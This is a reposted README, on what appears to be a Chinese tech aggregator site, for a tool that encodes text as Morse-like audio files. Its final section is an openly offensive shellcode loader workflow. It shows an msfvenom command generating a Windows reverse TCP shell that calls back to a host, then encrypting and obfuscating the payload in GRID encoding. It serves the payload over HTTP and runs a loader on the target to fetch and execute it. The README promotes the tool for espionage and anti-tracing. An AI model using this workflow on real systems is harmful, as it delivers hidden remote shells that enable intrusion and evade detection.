当前位置: 首页 > ai >正文

GI6E 加密GRID電碼通信SHELLCODE載入


GI6E

https://github.com/MartinxMax/gi6e

「它似乎能從特製的音訊信號中提取敏感資訊。」

HEX-GRID CODEX(簡稱 HGC)是一種自定義的 6 位元結構編碼系統,使用三位元的群組識別碼(Group Bits)加上三位元的索引識別碼(Index Bits)來組成 64 個唯一碼。其核心設計理念是將字母與數字映射到二維區塊矩陣中,使其具備可擴展性、分層性,以及機器可解析的字元分佈方式。這使得它非常適用於摩斯密碼的擴展、嵌入式通訊協議、加密標記,或特殊字元序列的緊湊表達。


https://youtu.be/Uzc14fmhI5I

V1.2 更新

  • [+] 新增 AES-CTR 加密傳輸,大幅提升反追蹤難度
  • [+] 修改解碼靈敏度
  • [+] 新增用戶控制介面
  • [+] 加入加解密解析器
  • [+] 增加惡意 SHELLCODE 載入器

「這也許正是間諜活動等待已久的工具。」

Main2.jpg


安裝方式

$ git clone https://github.com/MartinxMax/gi6e.git
$ cd gi6e
$ pip install -r require.txt

使用方式

$ python3 grid.py

image.png


文字轉 WAV

將字串轉換為 GRID 編碼的 .wav 音訊文件:

請輸入要轉換的文字:TEST
[+] Grid 音訊文件已成功產生:./lib/history/generate/1752834436.wav

image-1.png

image-2.png


WAV 轉文字

輸入 .wav 音訊文件並解碼其內容為純文字:

請輸入未加密 WAV 路徑:./lib/history/generate/1752834436.wav
[Unencrypted] 解碼結果 => ('-.-.-- . --..-. .  . -.-.-. .  . -.-.-. .  . --..-. .  . --..-. .  . -...-. .  . --..-. .  . -.-.-. . ', 'TEST')

image-3.png


一鍵測試

快速檢查系統功能:

image-4.png


即時監聽

播放音訊並即時解碼訊息:

image-5.png


文字轉 Grid

將純文字轉換為 GRID 編碼:

請輸入要轉換的文字:HELLO
[Unencrypted] 生成 Grid 編碼 => '-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '

image-6.png


Grid 轉文字

將 GRID 編碼轉換為可讀文字:

請輸入 Grid 編碼(以空格分隔):'-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '
[Unencrypted] 解碼:HELLO

image-7.png


濫用範例:基於 GRID 的 SHELLCODE 載入器

image-10.png

產生 Shellcode(如反向連線 Payload):

(grid-loader)$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f python | sed 's/\<buf\>/shellcode/g' > ./SHELLCODE/Main.conf

image-8.png

轉換 Shellcode 為 GRID 編碼:

(grid-loader)$ python3 grid-gener.py

也可使用 -key 參數進行混淆加密:

image-9.png


遠端載入器

啟動 HTTP Server:

$ sudo python3 -m http.server 80

image-11.png

上傳 grid-loader.exe 至目標系統。如有加密請加上 -key

> grid-loader.exe -load http://192.168.8.102/Main.grid

目標端:

image-15.png

Ubuntu 主機:

image-14.png


本地載入器

從本地讀取 Grid 文件:

> grid-loader.exe -load ./Main.grid

目標端:

image-16.png

Ubuntu 主機:

image-17.png


GRID 加密載入器

使用加密產生:

(grid-loader)$ python3 grid-gener.py -key 12345678

image-19.png

載入時解密執行:

> grid-loader.exe -load http://192.168.8.102/Main.grid -key 12345678

或:

> grid-loader.exe -load ./Main.grid -key 12345678

image-18.png


http://www.xdnf.cn/news/15635.html

相关文章:

  • 论文review SfM MVS VGGT: Visual Geometry Grounded Transformer
  • 需要保存至服务器的:常见编辑、发布文章页面基础技巧
  • 配置本地git到gitlab并推送
  • elasticsearch+logstash+kibana+filebeat实现niginx日志收集(未过滤日志内容)
  • .QOI: Lossless Image Compression in O(n) Time
  • Flutter 应用如何设计通知服务
  • Nature Communications:人工有机传入神经为智能机器人提供闭环触觉反馈
  • 半小时部署本地deepseek【1】
  • Hadoop与云原生集成:弹性扩缩容与OSS存储分离架构深度解析
  • Django母婴商城项目实践(五)
  • Linux中的LVS集群技术
  • 二进制写入与文本写入的本质区别:系统视角下的文件操作
  • IT 和OT指的什么?
  • LangChain 源码剖析(七)RunnableBindingBase 深度剖析:给 Runnable“穿衣服“ 的装饰器架构
  • 基于现代R语言【Tidyverse、Tidymodel】的机器学习方法
  • KuiperInfer第八课-实现resnet推理
  • 在ComfyUI中CLIP Text Encode (Prompt)和CLIPTextEncodeFlux的区别
  • git是啥
  • Selenium自动化浏览器操作指南
  • 5 种可行的方法:如何将 Redmi 联系人备份到 Mac
  • 智能Agent场景实战指南 Day 16:Agent记忆系统设计
  • 微流控工程普鲁士蓝水凝胶微球用于增强骨关节炎抗氧化效应
  • PyTorch新手实操 安装
  • 如何区别HTML和HTML5?
  • 【移动端知识】移动端多 WebView 互访方案:Android、iOS 与鸿蒙实现
  • 格式转换Total Excel Converter:20 种格式XLS XLSX 批量转 PDFWord
  • SpringMVC + Tomcat10
  • 链路聚合技术
  • 时序数据库 Apache IoTDB 实战:基于 Kubernetes 的部署运维全指南
  • 抗辐照与国产替代:ASM1042在卫星光纤放大器(EDFA)中的应用探索